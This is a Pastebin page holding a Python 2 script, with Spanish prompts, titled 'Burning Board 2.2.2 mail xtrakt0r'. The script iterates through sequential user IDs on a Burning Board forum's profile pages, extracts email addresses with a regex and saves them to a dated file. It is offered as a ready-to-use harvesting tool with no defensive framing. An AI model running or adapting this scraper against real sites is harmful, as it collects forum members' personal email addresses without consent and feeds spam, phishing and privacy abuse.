Advertisement
Guest User

Burning Board 2.2.2 mail xtrakt0r

a guest
Jan 13th, 2012
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.47 KB | None | 0 0
  1. #/usr/local/bin/python
  2. # -*- coding: utf-8 -*-
  3. import os
  4. import urllib
  5. import string
  6. import re
  7. import sys
  8. import time
  9. import datetime
  10. import random
  11. fecha= datetime.date.today()
  12. hora = time.time()
  13. hora = time.localtime(hora)[3]
  14. dos = time.localtime(hora)[1]
  15. hoy= fecha.strftime("%d_%m_%Y_")+str(hora)+"_"+str(dos)
  16. t0 = time.clock()
  17. correito = re.compile('([\w\-\.]+@(\w[\w\-]+\.)+[\w\-]+)')
  18. print 'Burning Board 2.2.2 mail xtrakt0r'
  19. print '------------Komtec1--------------'
  20. print '-----komtec1[at]gmail[dot]com----'
  21. print '\n Ingresa la url completa ej: http://sitio.com/forums/profile.php?userid='
  22. url = raw_input("")
  23. print '\ Ingresa el numero inicial, si lo dejas en blanco comienza en 1'
  24. inicial = raw_input("")
  25. if inicial == '':
  26.     inicial = 0
  27. print 'Si sabes el numero final de usuarios ingresalo, o ingresa el numero maximo de intentos Ej: 315000'
  28. usuarios = raw_input("")
  29. print 'Espera un momento, el script se esta ejecutando'
  30. f = open (hoy+".txt", "a")
  31. if usuarios == '':
  32.     print 'Voy a sacar el numero de usuarios    '
  33. else:
  34.     for x in range(int(inicial), int(usuarios)):
  35.         mail = ''
  36.         urlf = url + str(x)
  37.         chek = urllib.urlopen(urlf)
  38.         chek2 = chek.read()
  39.         if x%100 == 0:
  40.             print x
  41.         if chek2.find("This address/url is invalid. If you clicked on a link, please inform the") >= 0:
  42.             mail = ''
  43.         else:
  44.             mail = correito.findall(chek2)
  45.             if len(mail) == 1:
  46.                 f.write(str(mail) + '\n')
  47.                 print mail
  48. f.close
  49. print "%.2f sec" % (time.clock() - t0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement